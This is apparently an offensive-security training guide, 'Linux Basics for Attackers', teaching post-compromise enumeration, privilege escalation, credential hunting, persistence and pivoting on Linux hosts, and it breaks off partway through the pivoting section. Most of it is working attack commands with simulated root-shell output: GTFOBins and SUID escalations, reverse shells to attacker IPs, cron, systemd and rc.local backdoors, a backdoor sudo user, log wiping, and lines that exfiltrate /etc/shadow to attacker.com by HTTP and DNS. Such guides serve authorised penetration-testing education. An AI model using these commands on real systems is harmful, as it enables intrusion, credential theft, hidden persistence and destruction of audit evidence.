



◆ OFFENSIVE SECURITY SERIES ◆

LINUX BASICS

For Attackers — Only What Matters

Post-Compromise Enum · Privesc · Cred Hunt · Persistence · Pivoting

Linux

Privesc

sudo

SUID

Cron

GTFOBins

Pivoting

Persistence

RedTeamGarage (RTG) | Offensive Security Education

<https://www.redteamgarage.com/>

**■ LEGAL DISCLAIMER**

This guide is produced by RedTeamGarage (RTG) for educational purposes only.
All techniques shown must ONLY be applied on systems you own or have explicit written permission to test. RTG assumes zero liability for misuse.
Authorised penetration testing and red team operations only.

**TABLE OF CONTENTS**

Linux for Attackers — Skip the Textbook, Learn What Operators Know

- 01. WHY LINUX IS THE ATTACKER'S OS — AND THE PRIMARY TARGET**
- 02. THE LINUX FILESYSTEM — WHERE EVERYTHING INTERESTING LIVES**
- 03. ESSENTIAL COMMANDS — THE 30 YOU NEED WITHIN THE FIRST 5 MINUTES**
- 04. USERS, GROUPS & /ETC/PASSWD — READING THE ACCESS MODEL**
- 05. FILE PERMISSIONS — RWX, SUID, SGID, STICKY & CAPABILITIES**
- 06. POST-COMPROMISE ENUMERATION — FIRST 5 MINUTES ON A SHELL**
- 07. PRIVILEGE ESCALATION — SUDO, SUID, CRON, WRITABLE FILES & MORE**
- 08. CREDENTIAL HUNTING — PASSWORDS HIDING IN PLAIN SIGHT**
- 09. NETWORK RECON FROM A LINUX FOOTHOLD**
- 10. PROCESSES & SERVICES — FINDING ATTACK SURFACE FROM WITHIN**
- 11. PERSISTENCE — SURVIVING REBOOTS AND LOG WIPES**
- 12. FILE TRANSFER — GETTING TOOLS ON AND DATA OFF**
- 13. PIVOTING & TUNNELING FROM A COMPROMISED LINUX HOST**
- 14. LOG FILES — WHAT GETS LOGGED AND HOW TO CLEAN UP**
- 15. LINUX HARDENING CHECKLIST — WHAT YOU'LL BREAK THROUGH**
- 16. LINUX ATTACKER CHEAT SHEET**

01 — WHY LINUX IS THE ATTACKER'S OS AND PRIMARY TARGET

The OS That Runs the Internet

Linux runs approximately 96% of the world's web servers, all major cloud platforms, most network infrastructure, and the vast majority of enterprise backend systems. If you are doing a penetration test or red team operation, the servers and services you are targeting are almost certainly Linux. And as an attacker, you are almost certainly running Kali Linux or Parrot OS.

This guide skips the theory and teaches Linux from the operator's perspective: what to run the moment you land a shell, where credentials live, how permissions work as attack primitives, and how to go from low-privilege user to root using techniques seen in real-world engagements.

Linux Skills Every Attacker Must Have

- ◆ Navigate the filesystem blindfolded — know every sensitive path by heart.
- ◆ Read permissions and instantly know if a file or directory is exploitable.
- ◆ Enumerate a system within 5 minutes of getting a shell — what matters first.
- ◆ Find credentials hidden in config files, history, environment variables.
- ◆ Abuse sudo misconfigurations, SUID binaries, and cron jobs for root.
- ◆ Establish persistence that survives reboots without leaving obvious traces.
- ◆ Pivot to internal network segments using only tools already on the box.
- ◆ Transfer files in and out when no wget/curl is available (living off the land).



02 — THE LINUX FILESYSTEM: WHERE EVERYTHING INTERESTING LIVES

Know the Map Before You Explore the Territory

Path	Contents	Attacker Value
/etc/passwd	User accounts (no passwords)	User enumeration, UID/GID mapping
/etc/shadow	Password hashes	Offline cracking — needs root to read
/etc/sudoers	Sudo rules	Find privesc paths without root
/etc/crontab	/etc/cron.d/ — scheduled tasks	Find root cron jobs pointing to writable files
/etc/hosts	Static hostname → IP mappings	Discover internal hostnames + IPs
/etc/ssh/sshd_config	SSH server config	Permit root login? Key auth only?
/var/log/	System logs	Auth attempts, command history, connections
/var/www/	Web application files	Config files with DB credentials
/home/*/	User home dirs	SSH keys, bash history, dotfiles with creds
/root/	Root's home dir	SSH keys, scripts, credentials
/tmp/ and /var/tmp/	World-writable temp dirs	Drop payloads here
/opt/	Optional software	Custom apps, often poorly permissioned
/proc/	Running process info	/proc/PID/environ for process env vars
/dev/shm/	Shared memory (tmpfs)	In-memory payload execution

\$ Essential Filesystem Paths

```
# Key paths to check immediately on any Linux shell
cat /etc/passwd | grep -v nologin | grep -v false # real users
cat /etc/crontab; ls /etc/cron.d/ /etc/cron.hourly/ # cron jobs
cat /etc/hosts # internal hostnames
ls /home/ # other users' home dirs
ls /var/www/ # web app files and configs
ls /opt/ # custom software
ls /root/ # if you're root
```



03 — ESSENTIAL COMMANDS: THE 30 YOU NEED IN THE FIRST 5 MINU

Operators Use These on Every Shell — Memorise Them

Command	What It Does	Attacker Use
id	Show current user, UID, groups	Am I root? Am I in sudo group?
whoami	Current username	Quick identity check
hostname	System hostname	Target identification
uname -a	Kernel + OS version	Kernel exploit selection
cat /etc/os-release	Linux distro + version	Package manager, vuln lookup
sudo -l	List sudo privileges	GTF0Bin privesc planning
cat /etc/passwd	List users	Enumerate accounts
cat /etc/shadow	Password hashes	Offline cracking (needs root)
ls -la	List files with permissions	Find SUID, writable files
find	Search filesystem	SUID, writable, credential files
grep -r	Recursive search	Find passwords in config files
env	Environment variables	Find API keys, passwords
history	Command history	Previous commands with creds
ss -tnp	Active TCP connections	Internal services, listening ports
ip addr/route	Network interfaces + routes	Map network, find pivot paths
cat /etc/hosts	Static DNS entries	Internal hostname → IP mapping
ps aux	Running processes	Find interesting services + users
crontab -l	Current user's cron	Cron privesc check
cat /etc/crontab	System-wide cron	Root cron pointing to writable script
getcap -r /	Capabilities on binaries	Cap privesc (setuid, net_raw)
lsblk	Block devices	Find mounted drives + USB
mount	Mounted filesystems	NFS, SAMBA, interesting mounts
netstat -rn	Routing table	Find all reachable networks
cat /proc/version	Kernel compile info	Detailed version for exploits
dpkg -l / rpm -qa	Installed packages	Find vulnerable software



which python/perl/ruby	Interpreter availability	Shell upgrade, payload exec
cat ~/.bash_history	Bash command history	Previous creds, SSH commands
ls /var/log/	Log files	Auth.log, syslog for recon
file	Binary type	32/64 bit, stripped, linked?

04 — USERS, GROUPS & /ETC/PASSWD

Reading the Linux Access Model as an Attacker

Linux uses a simple but powerful user/group model. Every process runs as a user with a UID. Every file has an owner and group. Root (UID=0) has unrestricted access. Understanding this model reveals privesc paths — a file owned by root but writable by your group is a direct escalation path.

\$ /etc/passwd and User Enumeration

```
# /etc/passwd format: user:x:UID:GID:comment:home:shell
root:x:0:0:root:/root:/bin/bash          ← UID 0 = root
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin ← no shell
jsmith:x:1001:1001:/home/jsmith:/bin/bash ← real user
postgres:x:112:119:/var/lib/postgresql:/bin/bash ← DB user

# Key UIDs to know:
0          = root (full control)
1-999     = system accounts (services, daemons)
1000+     = real human users

# /etc/shadow format: user:$type$salt$hash:last_change:...
# Hash types:
# $1$ = MD5 (very weak – crack fast)
# $5$ = SHA-256
# $6$ = SHA-512 (most common)
# $y$ = yescrypt (modern Ubuntu default)

# Groups – find users in privileged groups
cat /etc/group | grep -E 'sudo|admin|wheel|docker|lxd|disk'
# sudo/admin/wheel → sudo access (likely privesc)
# docker          → docker group = root equivalent
# lxd             → lxd group = container escape = root
# disk           → direct disk read = shadow file access

# Get full user info
id jsmith
groups jsmith
finger jsmith 2>/dev/null
```

05 — FILE PERMISSIONS: RWX, SUID, SGID, STICKY & CAPABILITIES

Reading Permission Bits as Attack Primitives

Linux permissions are a 10-character string you see in `ls -la` output. Most attackers gloss over them — elite operators read them instantly and see `privsec` paths. A SUID binary owned by `root` but executable by any user is a direct path to `root`. A world-writable script in a `root` cron job is immediate privilege escalation.

\$ Permission Analysis for Attackers

```
# Permission string breakdown:
# -rwxr-xr-x 1 root root 12345 file
# ████ ████ ████
# █ █ █
# █ █ ███ Other: r-x = read+execute only
# █ ████████ Group: r-x = read+execute only
# ████████████ User: rwx = read+write+execute
# ████████████████ Type: - file, d dir, l symlink

# SUID bit (s in user execute): runs as FILE OWNER not caller
-rwsr-xr-x root root /usr/bin/sudo ← runs as root always
-rwsr-xr-x root root /usr/bin/vim ← SUID vim = edit any file!

# Find all SUID files
find / -perm -4000 -type f 2>/dev/null

# Find world-writable files (everyone can write)
find / -perm -0002 -type f 2>/dev/null | grep -v /proc

# Find world-writable directories
find / -perm -0002 -type d 2>/dev/null | grep -v /proc

# Capabilities – fine-grained root powers per binary
getcap -r / 2>/dev/null

# cap_setuid → setuid to 0 = root
# cap_net_raw → raw socket = sniff without root
# cap_dac_override → bypass file permissions
```



```
jsmith@ubuntu-srv -- File Permissions, World-Writable Files, Capabilities

jsmith@ubuntu-srv:~$ # Linux permissions - read the rwx bits
jsmith@ubuntu-srv:~$ ls -la /etc/passwd /etc/shadow /var/www/html/
-rw-r--r-- 1 root root 2847 /etc/passwd + world-readable: OK
-rw-r----- 1 root shadow 1423 /etc/shadow + root+shadow only
drwxrwxrwx 3 www www 4096 /var/www/html/ + world-writable!

jsmith@ubuntu-srv:~$ # Find world-writable files outside /tmp
jsmith@ubuntu-srv:~$ find / -perm -0002 -not -path '/tmp/*' -not -path '/proc/*' 2>/dev/null
/opt/cleanup.sh + writable script run by root cron!
/var/www/html/uploads/ + writable web dir = webshell upload
/etc/update-motd.d/00-header + runs as root at login!

jsmith@ubuntu-srv:~$ # Capabilities - stronger than SUID in some cases
jsmith@ubuntu-srv:~$ getcap -r / 2>/dev/null
/usr/bin/python3.10 = cap_setuid+ep + setuid capability!
/usr/bin/ping = cap_net_raw+p
/usr/sbin/tcpdump = cap_net_raw+ep + sniff without root

jsmith@ubuntu-srv:~$ # Exploit cap_setuid on python3
jsmith@ubuntu-srv:~$ python3 -c 'import os; os.setuid(0); os.system("/bin/bash")'
root@ubuntu-srv:/home/jsmith# id
uid=0(root) gid=0(root) groups=0(root)

jsmith@ubuntu-srv:~$ _
```

Figure: World-writable files found; SUID python3 = root via `os.setuid(0)`; `cap_setuid` exploited

06 — POST-COMPROMISE ENUMERATION: FIRST 5 MINUTES ON A SHE

The Exact Sequence Every Operator Runs

The first 5 minutes on a new shell are the most critical. You need to understand who you are, what you can do, what the network looks like, and what privilege paths exist — before the victim notices and kills your connection. This section gives you the exact command sequence.

\$ Post-Compromise Enumeration Sequence

```
# ■■ PHASE 1: Identity (10 seconds) ████████████████████████████████  
id; whoami; hostname; uname -a  
  
# ■■ PHASE 2: What can I do without a password? (30 seconds)  
sudo -l # sudo permissions  
cat /etc/sudoers 2>/dev/null # full sudoers if readable  
  
# ■■ PHASE 3: OS and kernel (20 seconds) ████████████████████████████████  
cat /etc/os-release  
cat /proc/version  
uname -r # kernel version → exploit lookup  
  
# ■■ PHASE 4: Users and groups (30 seconds) ████████████████████████████████  
cat /etc/passwd | grep -v nologin | grep -v false  
cat /etc/group | grep -E 'sudo|docker|lxd|admin|wheel'  
  
# ■■ PHASE 5: Network layout (30 seconds) ████████████████████████████████  
ip addr show; ip route show  
cat /etc/hosts  
ss -tnp  
  
# ■■ PHASE 6: SUID + capabilities (30 seconds) ████████████████████████████████  
find / -perm -4000 -type f 2>/dev/null  
getcap -r / 2>/dev/null  
  
# ■■ PHASE 7: Cron jobs (20 seconds) ████████████████████████████████  
crontab -l 2>/dev/null  
cat /etc/crontab; ls /etc/cron.d/  
  
# ■■ PHASE 8: Sensitive files (60 seconds) ████████████████████████████████  
find /var/www /opt /home -name '*.conf' -o -name '*.php' 2>/dev/null | xargs grep -li 'pass'  
env | grep -iE 'pass|key|token|secret'  
cat ~/.bash_history 2>/dev/null
```



```
jsmith@ubuntu-srv -- Post-Compromise: System Enum, sudo -l, GTF0Bin

jsmith@ubuntu-srv:~$ # First commands on a fresh Linux shell
jsmith@ubuntu-srv:~$ id && whoami && hostname
uid=1001(jsmith) gid=1001(jsmith) groups=1001(jsmith),27(sudo)
jsmith
ubuntu-srv

jsmith@ubuntu-srv:~$ uname -a
Linux ubuntu-srv 5.15.0-91-generic #101-Ubuntu SMP x86_64 GNU/Linux

jsmith@ubuntu-srv:~$ cat /etc/os-release | head -5
NAME="Ubuntu"
VERSION="22.04.3 LTS (Jammy Jellyfish)"

jsmith@ubuntu-srv:~$ cat /etc/passwd | grep -v nologin | grep -v false
root:x:0:0:root:/root:/bin/bash
jsmith:x:1001:1001::/home/jsmith:/bin/bash
deploy:x:1002:1002::/home/deploy:/bin/bash
postgres:x:112:119::/var/lib/postgresql:/bin/bash

jsmith@ubuntu-srv:~$ sudo -l
Matching Defaults entries for jsmith on ubuntu-srv:
User jsmith may run the following commands on ubuntu-srv:
  (ALL : ALL) NOPASSWD: /usr/bin/find - GTF0Bin!
  (root) NOPASSWD: /opt/backup.sh - writable?

jsmith@ubuntu-srv:~$ ls -la /opt/backup.sh
-rwxrwxr-x 1 root root 128 Dec  1 /opt/backup.sh
# World-writable! We own this script = instant root!

jsmith@ubuntu-srv:~$ _
```

Figure: id shows sudo group; sudo -l reveals NOPASSWD find + writable backup.sh = instant root



07 — PRIVILEGE ESCALATION: SUDO, SUID, CRON & WRITABLE FILES

Real Techniques Used in Every Internal Pentest

Linux privilege escalation is almost always about finding one of four things: a misconfigured sudo rule, a SUID binary you can abuse, a cron job running as root pointing to a file you can modify, or a service running as root that you can exploit. These four paths cover 90% of real-world Linux privesc findings.

Path 1: sudo Misconfigurations (GTFOBins)

\$ GTFOBins sudo Escalation

```
# If sudo -l shows a binary in GTFOBins – instant root
# https://gtfobins.github.io – the bible for this

# sudo find
sudo find . -exec /bin/bash \; -quit

# sudo vim
sudo vim -c '!/bin/bash'

# sudo python3
sudo python3 -c 'import os; os.system("/bin/bash")'

# sudo nmap (older versions)
sudo nmap --interactive → !sh

# sudo awk
sudo awk 'BEGIN {system("/bin/bash")}'

# sudo less / more
sudo less /etc/passwd → !bash

# sudo tar
sudo tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/bash
```

Path 2: SUID Binary Abuse



\$ SUID Abuse for Root

```
# SUID bash – if bash itself is SUID
/bin/bash -p # -p preserves effective UID = root shell

# SUID python3
python3 -c 'import os; os.setuid(0); os.system("/bin/bash")'

# SUID vim / vi
vim -c ':py3 import os; os.setuid(0); os.execl("/bin/sh","sh","-p")'

# SUID cp – overwrite /etc/passwd with no-password root
echo 'hacker::0:0::/root:/bin/bash' >> /tmp/passwd
LFIL=etc/passwd
cp /tmp/passwd $LFIL
su hacker # no password = root
```

Path 3: Cron Job Abuse

\$ Cron Job Abuse

```
# If root cron runs a world-writable script
echo 'chmod u+s /bin/bash' >> /opt/cleanup.sh
# Wait for cron to run (max 1 minute for * * * * *)
/bin/bash -p # now SUID bash = root

# If cron runs a script that sources a writable file
echo 'bash -i >& /dev/tcp/192.168.10.99/4444 0>&1' > /tmp/evil.sh
chmod +x /tmp/evil.sh
# Modify the cron script to source /tmp/evil.sh

# PATH injection in cron – if cron has . or /tmp in PATH
# Script calls 'cleanup' without full path
echo '/bin/bash -p' > /tmp/cleanup
chmod +x /tmp/cleanup
export PATH=/tmp:$PATH
# When cron runs, it finds your cleanup first
```



```
jsmith@ubuntu-srv -- Privilege Escalation: sudo GTF0Bin, SUID Python, Cron

jsmith@ubuntu-srv:~$ # Privilege escalation via sudo find (GTF0Bin)
jsmith@ubuntu-srv:~$ sudo find . -exec /bin/bash \; -quit
root@ubuntu-srv:/home/jsmith# id
uid=0(root) gid=0(root) groups=0(root)
root@ubuntu-srv:/home/jsmith# whoami
root

# Method 2: Writable sudo script - overwrite it
jsmith@ubuntu-srv:~$ echo 'bash -i >& /dev/tcp/192.168.10.99/4444 0>&1' > /opt/backup.sh
jsmith@ubuntu-srv:~$ sudo /opt/backup.sh
# nc -lvnp 4444 on attacker catches root reverse shell

# Method 3: SUID python3 privesc
jsmith@ubuntu-srv:~$ python3 -c 'import os; os.setuid(0); os.system("/bin/bash")'
root@ubuntu-srv:/home/jsmith# id
uid=0(root) gid=0(root) groups=0(root)

# Method 4: Cron job abuse - writable script run by root
jsmith@ubuntu-srv:~$ cat /etc/crontab
* * * * * root /opt/cleanup.sh - runs every minute as root!
jsmith@ubuntu-srv:~$ ls -la /opt/cleanup.sh
-rwxrwxrwx 1 root root 45 /opt/cleanup.sh - world-writable!
jsmith@ubuntu-srv:~$ echo 'chmod u+s /bin/bash' >> /opt/cleanup.sh
# Wait 60 seconds...
jsmith@ubuntu-srv:~$ /bin/bash -p
bash-5.1# id
uid=1001(jsmith) euid=0(root) - effective root!

jsmith@ubuntu-srv:~$ _
```

Figure: sudo find → root shell; SUID python3 os.setuid(0) → root; writable cron = bash SUID



08 — CREDENTIAL HUNTING: PASSWORDS HIDING IN PLAIN SIGHT

Every Place Credentials Live on a Linux System

Location	What to Look For	Command
/etc/shadow	Password hashes	cat /etc/shadow (root only)
~/.bash_history	Commands with passwords typed	cat ~/.bash_history
/var/www/	DB passwords in config files	grep -r 'password' /var/www/
Environment	API keys, tokens, passwords	env grep -iE 'pass key secret'
/proc/*/environ	Process environment variables	strings /proc/*/environ 2>/dev/null
/home/*/ssh/	Private SSH keys	find /home -name 'id_rsa' 2>/dev/null
/opt/*/config	App config files	find /opt -name '*.conf' -readable
/etc/	Service config files	grep -r 'password' /etc/ 2>/dev/null
Memory	Creds in process memory	strings /proc/PID/mem 2>/dev/null
Git repos	.git/config, commits, logs	find / -name '.git' 2>/dev/null
Docker	Docker env + image layers	docker inspect ID grep -i pass
AWS creds	~/.aws/credentials	cat ~/.aws/credentials

\$ Credential Hunting Commands

```
# One-liner credential hunt across entire filesystem
grep -rli 'password\|passwd\|secret\|api_key\|token' \
  /var/www /opt /home /etc 2>/dev/null | head -20

# Find database connection strings
grep -rE '(mysql|postgres|mongodb)://[^\s]+' / 2>/dev/null

# Search all .conf and .php files for password patterns
find / -name '*.conf' -o -name '*.php' -o -name '*.env' 2>/dev/null | \
  xargs grep -li 'pass\|secret\|key' 2>/dev/null

# .env files – Laravel, Django, Node.js store creds here
find / -name '*.env' -readable 2>/dev/null | xargs cat

# Shell history from all users (need root)
cat /home/*/.bash_history /root/.bash_history 2>/dev/null | \
  grep -iE 'pass|ssh|mysql|curl|wget|scp'
```

```

root@ubuntu-srv — Credential Hunt: /etc/shadow, env vars, .bash_history

root@ubuntu-srv:~# # Credential hunting on compromised Linux
root@ubuntu-srv:~# cat /etc/shadow | head -8
root:$6$salt$hash...:19501:0:99999:7:::
jsmith:$6$abc$xyz...:19501:0:99999:7:::
deploy:$6$def$uvw...:19501:0:99999:7:::

root@ubuntu-srv:~# # Crack shadow hashes offline
root@ubuntu-srv:~# cat /etc/shadow > shadow.txt && cat /etc/passwd > passwd.txt
root@ubuntu-srv:~# unshadow passwd.txt shadow.txt > combined.txt
# Transfer combined.txt to attacker, then:
# hashcat -m 1800 combined.txt rockyou.txt -r best64.rule

root@ubuntu-srv:~# # Hunt passwords in environment variables
root@ubuntu-srv:~# env | grep -iE 'pass|key|secret|token|api'
DB_PASSWORD=Sup3rDBpass!
AWS_ACCESS_KEY_ID=AKIAIOSFODNN7EXAMPLE
AWS_SECRET_ACCESS_KEY=wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY

root@ubuntu-srv:~# # Search bash history for credentials
root@ubuntu-srv:~# cat /home/*/.bash_history 2>/dev/null | grep -iE 'pass|mysql|ssh|curl'
mysql -u root -pR00tP0ss2024! corp_db
ssh -i /home/deploy/.ssh/id_rsa deploy@10.0.0.100
curl -H 'Authorization: Bearer sk-prod-xyz123' https://api.openai.com/

root@ubuntu-srv:~# _

```

Figure: /etc/shadow hashes; DB creds in database.php; AWS keys in env; creds in .bash_history

```

jsmith@ubuntu-srv — Sensitive Files: DB creds, SSH keys, SUID binaries

jsmith@ubuntu-srv:~$ # Hunt for sensitive files – the attacker's Linux recon
jsmith@ubuntu-srv:~$ find / -name '*.conf' -readable 2>/dev/null | head -10
/etc/mysql/mysql.conf.d/mysqld.cnf
/var/www/html/config/database.php
/opt/app/config/settings.conf

jsmith@ubuntu-srv:~$ cat /var/www/html/config/database.php
<?php
define('DB_HOST', '192.168.10.15');
define('DB_USER', 'dbadmin');
define('DB_PASS', 'Sup3rS3cret2024!');
define('DB_NAME', 'corp_customers');

jsmith@ubuntu-srv:~$ # Find SSH private keys
jsmith@ubuntu-srv:~$ find / -name 'id_rsa' -o -name 'id_ed25519' 2>/dev/null
/home/jsmith/.ssh/id_rsa
/home/deploy/.ssh/id_rsa ← another user's key!
/var/www/.ssh/id_rsa ← web user's key!

jsmith@ubuntu-srv:~$ # Find SUID binaries – privesc targets
jsmith@ubuntu-srv:~$ find / -perm -4000 -type f 2>/dev/null
/usr/bin/sudo
/usr/bin/passwd
/usr/bin/python3.10 ← SUID python = instant root!
/usr/bin/find ← SUID find = GTF0Bin!
/usr/bin/vim.basic ← SUID vim = GTF0Bin!

jsmith@ubuntu-srv:~$ _

```

Figure: find reveals DB config with creds; SSH keys in /home/deploy; SUID python3 + vim



09 — NETWORK RECON FROM A LINUX FOOTHOLD

Map the Network, Find Pivots, Discover Hidden Services

\$ Network Recon from Foothold

```
# What interfaces and IPs do we have?
ip addr show
ifconfig 2>/dev/null
cat /proc/net/if_inet6 # IPv6 interfaces

# Routing table – find all reachable networks
ip route show
netstat -rn
route -n

# ARP cache – who have we recently talked to?
ip neigh show
arp -n

# What's listening locally?
ss -tnlp # TCP listening
ss -unlp # UDP listening
netstat -tulpn 2>/dev/null

# Port scan internal hosts using bash (no nmap needed)
for port in 22 80 443 445 3306 6379 8080; do
    (echo >/dev/tcp/10.0.0.100/$port) 2>/dev/null && echo "$port open"
done

# Ping sweep – find live hosts on internal segment
for i in $(seq 1 254); do
    ping -c1 -w1 10.0.0.$i 2>/dev/null | grep 'bytes from' | cut -d' ' -f4 &
done; wait

# DNS lookups from internal resolver
cat /etc/resolv.conf
dig @$ (cat /etc/resolv.conf | grep nameserver | awk '{print $2}') corp.local ANY
```



```
jsmith@ubuntu-srv — Network Recon: Dual NIC, Internal Routes, /etc/hosts

jsmith@ubuntu-srv:~$ # Network recon from compromised Linux host
jsmith@ubuntu-srv:~$ ip addr show
2: eth0: <BROADCAST,MULTICAST,UP>
    inet 192.168.10.50/24 brd 192.168.10.255 scope global eth0
3: eth1: <BROADCAST,MULTICAST,UP>
    inet 10.0.0.50/8 brd 10.255.255.255 ← second NIC!

jsmith@ubuntu-srv:~$ ip route show
default via 192.168.10.1 dev eth0
10.0.0.0/8 dev eth1 proto kernel ← internal 10.x network reachable!
192.168.10.0/24 dev eth0 proto kernel

jsmith@ubuntu-srv:~$ ss -tnp
State  Recv-Q  Send-Q  Local Address:Port  Peer Address:Port
ESTAB   0        0      192.168.10.50:22    192.168.10.99:55234 ← our SSH
LISTEN  0        128     0.0.0.0:3306        0.0.0.0:* ← MySQL!
LISTEN  0        128     127.0.0.1:8080      0.0.0.0:* ← internal web
LISTEN  0         5      0.0.0.0:6379        0.0.0.0:* ← Redis no-auth!

jsmith@ubuntu-srv:~$ cat /etc/hosts
192.168.10.5  dc01.corp.local  dc01
192.168.10.20 mail.corp.local  mail
10.0.0.100   prod-db01        prod-db01 ← internal DB!
10.0.0.200   k8s-master       k8s-master ← Kubernetes!

jsmith@ubuntu-srv:~$ _
```

Figure: Dual NIC found (eth1=10.0.0.x); routing reveals internal 10.x; Redis+MySQL exposed locally



10 — PROCESSES & SERVICES: FINDING ATTACK SURFACE FROM WITHIN

What's Running, Who's Running It, and Can You Abuse It

\$ Process and Service Enumeration

```
# List all running processes
ps aux
ps aux | grep -v '\[' | awk '{print $1,$11}' | sort -u

# Find processes run by root that aren't system processes
ps aux | grep '^root' | grep -v -E 'kthread|migration|ksoftirq'

# Check running services (systemd)
systemctl list-units --type=service --state=running
systemctl status <service>

# Find services with writable service files
find /etc/systemd/system/ /lib/systemd/system/ \
    -perm -0002 -type f 2>/dev/null

# Writable service file = edit ExecStart = root command execution
# ExecStart=/opt/myapp/run.sh → if run.sh is writable = escalate

# Watch processes for new ones (cron, cleanup scripts)
watch -n 1 'ps aux --sort=start_time | tail -20'

# pspy – monitor processes without root (if you can upload it)
./pspy64 # shows all commands run including cron jobs
# https://github.com/DominicBreuker/pspy

# Check for internal services on localhost
ss -tnlp | grep 127.0.0.1
# 127.0.0.1:8080 = internal web app accessible via port forward
# 127.0.0.1:6379 = Redis no-auth on localhost only
```



11 — PERSISTENCE: SURVIVING REBOOTS AND LOG WIPES

Every Method Operators Use to Maintain Access

Method	Command / Location	Stealth	Survives Reboot
SSH authorized_keys	~/.ssh/authorized_keys or /root/.ssh/	High	Yes
Cron reverse shell	crontab -e or /etc/crontab	Medium	Yes
Backdoor user	useradd + chpasswd	Medium	Yes
/etc/rc.local	Append shell command	Medium	Yes (if enabled)
.bashrc/.profile	Append to shell config	Low	Yes (per login)
Systemd service	Create .service file in /etc/systemd	High	Yes
PAM backdoor	Modify PAM auth accept all	Very High	Yes
LD_PRELOAD hook	Preload malicious .so	High	Yes (if set globally)
motd scripts	/etc/update-motd.d/ scripts	High	Yes (per login)

\$ Persistence Commands

```
# SSH key persistence (most reliable)
mkdir -p ~/.ssh; chmod 700 ~/.ssh
echo 'ssh-rsa AAAA...ATTACKER_PUBKEY' >> ~/.ssh/authorized_keys
chmod 600 ~/.ssh/authorized_keys

# Cron persistence – reverse shell every minute
(crontab -l 2>/dev/null; echo '* * * * * /bin/bash -i >& /dev/tcp/ATTACKER/4444 0>&1') | crontab -

# systemd service persistence (very stealthy)
cat > /etc/systemd/system/sysupdate.service << 'EOF'
[Unit]
Description=System Update Service
[Service]
Type=simple
ExecStart=/bin/bash -c 'bash -i >& /dev/tcp/ATTACKER/4444 0>&1'
Restart=always
[Install]
WantedBy=multi-user.target
EOF
systemctl enable sysupdate.service --now

# motd script – runs as root on every login
echo 'bash -i >& /dev/tcp/ATTACKER/4444 0>&1' >> /etc/update-motd.d/00-header
```



```
root@ubuntu-srv ~ — Persistence: SSH key, Cron shell, Backdoor user, Log clear

root@ubuntu-srv:~# # Establish persistence after gaining root
root@ubuntu-srv:~# # Method 1: Add SSH public key to root's authorized_keys
root@ubuntu-srv:~# mkdir -p /root/.ssh && chmod 700 /root/.ssh
root@ubuntu-srv:~# echo 'ssh-rsa AAAA...attacker_pub_key' >> /root/.ssh/authorized_keys
root@ubuntu-srv:~# chmod 600 /root/.ssh/authorized_keys
[+] SSH key added — persistent access via: ssh root@192.168.10.50

root@ubuntu-srv:~# # Method 2: Cron reverse shell — runs every minute
root@ubuntu-srv:~# (crontab -l 2>/dev/null; echo '* * * * * /bin/bash -i >& /dev/tcp/192.168.10.99/4444 0>&1') | crontab -
[+] Cron persistence installed — reverse shell every 60 seconds

root@ubuntu-srv:~# # Method 3: Create backdoor user
root@ubuntu-srv:~# useradd -m -s /bin/bash -G sudo backdoor
root@ubuntu-srv:~# echo 'backdoor:B@ckd00r2024!' | chpasswd
[+] Backdoor user 'backdoor' created with sudo rights

root@ubuntu-srv:~# # Method 4: Hide in /etc/rc.local
root@ubuntu-srv:~# echo '/bin/bash -i >& /dev/tcp/192.168.10.99/4445 0>&1 &' >> /etc/rc.local

root@ubuntu-srv:~# # Cover tracks — clear auth logs
root@ubuntu-srv:~# echo '' > /var/log/auth.log
root@ubuntu-srv:~# echo '' > /var/log/syslog
root@ubuntu-srv:~# history -c && unset HISTFILE
[+] Logs cleared, history wiped

root@ubuntu-srv:~# _
```

Figure: SSH key added, cron reverse shell, backdoor user, rc.local — logs cleared + history wiped



12 — FILE TRANSFER: GETTING TOOLS ON AND DATA OFF

When wget and curl Are Not Available — Living Off the Land

\$ File Transfer Techniques

```
# Download to target (when wget/curl available)
wget http://192.168.10.99/chisel -O /tmp/chisel
curl -o /tmp/tool http://192.168.10.99/tool

# Python HTTP server on attacker (fastest setup)
python3 -m http.server 80 # serves current directory

# When no wget/curl – pure bash
bash -c 'cat < /dev/tcp/192.168.10.99/8080 > /tmp/tool'

# Netcat file transfer
# Attacker: nc -lvp 4444 < tool.bin
nc 192.168.10.99 4444 > /tmp/tool

# SCP (when SSH creds available)
scp attacker@192.168.10.99:/opt/tools/linpeas.sh /tmp/
scp /etc/shadow attacker@192.168.10.99:/tmp/shadow

# Base64 encode/decode (for restricted shells)
# Attacker: base64 tool.bin → paste to target
echo 'BASE64_STRING' | base64 -d > /tmp/tool
chmod +x /tmp/tool

# Exfiltrate data via DNS (if outbound DNS allowed)
cat /etc/shadow | base64 | while read line; do
    nslookup $line.exfil.attacker.com > /dev/null 2>&1
done

# Exfiltrate via HTTP POST
curl -X POST http://attacker.com/collect -d @/etc/shadow
```



13 — PIVOTING & TUNNELING FROM A COMPROMISED LINUX HOST

Reach Internal Networks Using the Pivot as Your Bridge

\$ Pivoting and Tunneling Commands

```
# SSH dynamic SOCKS proxy – route all traffic via pivot
ssh -D 1080 -N user@PIVOT_IP
proxychains nmap -sT -Pn 10.0.0.0/24

# SSH local port forward – expose internal service
ssh -L 13306:10.0.0.100:3306 -N user@PIVOT_IP
mysql -h 127.0.0.1 -P 13306 -u dbadmin -pPASSWORD

# SSH remote port forward – expose attacker service to target network
ssh -R 8888:127.0.0.1:80 -N user@PIVOT_IP

# Chisel – HTTP tunnel (works through web proxies)
# Attacker: chisel server -p 8888 --reverse --socks5
/tmp/chisel client 192.168.10.99:8888 R:socks
proxychains nxc smb 10.0.0.0/24

# Ligolo-ng – transparent proxy (no proxychains needed)
# Creates tun interface – route packets natively
sudo ip route add 10.0.0.0/8 dev ligolo
nmap -sT 10.0.0.100 # direct, no proxychains

# ssf – multi-hop pivot
ssf -F 8011 -D 1080 user@PIVOT1 -- -D 1090 user@PIVOT2

# Python SOCKS proxy (if all else fails)
python3 -m pip install PySocks
python3 -c "import socks,socket; ..."
```



```
root@ubuntu-srv ~ — Pivoting: Chisel SOCKS + SSH Tunnel + Python Reverse Shell

root@ubuntu-srv:~# # Pivot from compromised Linux to internal network
root@ubuntu-srv:~# # Upload chisel to pivot host
root@ubuntu-srv:~# wget http://192.168.10.99/chisel -O /tmp/chisel && chmod +x /tmp/chisel

root@ubuntu-srv:~# # Connect back to attacker as reverse SOCKS proxy
